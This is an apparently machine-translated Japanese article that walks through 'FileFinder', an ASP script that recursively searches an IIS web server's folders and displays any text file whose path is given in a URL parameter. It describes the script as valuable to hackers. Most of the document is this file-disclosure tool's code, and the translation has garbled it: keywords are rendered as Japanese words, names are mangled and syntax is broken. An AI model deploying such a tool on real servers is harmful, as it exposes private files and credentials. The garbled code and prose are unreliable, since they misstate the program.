scripting.filesystemobjectオブジェクトは、vbscript/jscriptコントロールのためにscrrun.dllが提供する多くのcomオブジェクトの1つです。 scripting.filesystemObjectは、テキストファイルとファイルディレクトリに非常に便利なアクセスを提供しますが、IIS Webサーバーのデータセキュリティに特定の脅威も提起します。
FileFinderのコードは非常にシンプルで、3つの関数と30行のシーケンシャルコードで構成されています。
最も重要なのは、再帰的に呼び出して特定のディレクトリのトラバーサルを実装し、特定のファイル拡張機能に従ってこれらのファイルを検索するFindFiles関数です。
function findfiles(strstartfolder、strext)
dim n
薄暗いオハイフォルダー
薄暗いオフラーズ
薄暗い
ofolderの薄暗い
薄暗い
'システム管理者がファイルシステムの権限を慎重に設定した場合、次のコードはエラーが発生します
'しかし、一部のディレクトリはまだ表示されるため、エラーを単に無視するだけです
エラーの再開時に次に再開します
n = 0
Response.Write <b> Searching&StrstartFolder&</b> <br>
set thatispolder = g_fs.getFolder(strstartfolder)
Set ofiles = allisfolder.files
Ofilesの各Ileの場合
'指定されたファイル拡張機能の場合、接続ガイド自体を出力しますが、別のコマンドCMDを使用します
'ここにcmd =読み取りです。つまり、指定された物理パスでテキストファイルを読み取ります
issuffix(ofile.path、strext)の場合
respons.write <a target = _blank href = 'ff.asp?cmd = read&path =&server.htmlencode(ofile.path)&'> <font color = 'dodgerblue'>&ofile.path&</font> </a> <br>
err = 0の場合
n = n + 1
ifを終了します
ifを終了します
次
ofolders = conthisfolder.subfolders
年長の年齢ごとに
n = n + findfiles(ofolder.path、strext)
次
findfiles = n
エンド関数
次のコードは、URLの後のパラメーターを分析します。
'各パラメーターの値を読み取ります
strcmd = ucase(request.querystring(cmd))
strpath = request.querystring(path)
strext = request.querystring(ext)
brawdata = ucase(request.querystring(raw))
'.ASPファイルのデフォルト検索
strpath = thenの場合
strpath =。
ifを終了します
strext = thenの場合
strext = .asp
ifを終了します
'異なるコマンドCMDに従って異なるコードを実行します
ケースSTRCMDを選択します
ケース検索
Response.write findfiles(strpath、strext)&file(s)が見つかりました
ケースリード
brawdata = tの場合
respons.write readtextfile(strpath)
それ以外
respons.write <pre>&server.htmlencode(readtextfile(strpath))&</pre>
ifを終了します
ケース他のケース
Response.Write <H3>実行するコマンドを指定してください</h3>
[選択]を終了します
上記の分析から、十分な権限がある場合は、FileFinderを使用してIIS Webサーバーにテキストファイルを見つけることができ、ファイルコンテンツを簡単に表示できることがわかります。非テキストファイルの場合、それらが存在するかどうか、どこにあるかを判断することができます。これは、高度なハッカーにとって非常に重要な場合があります。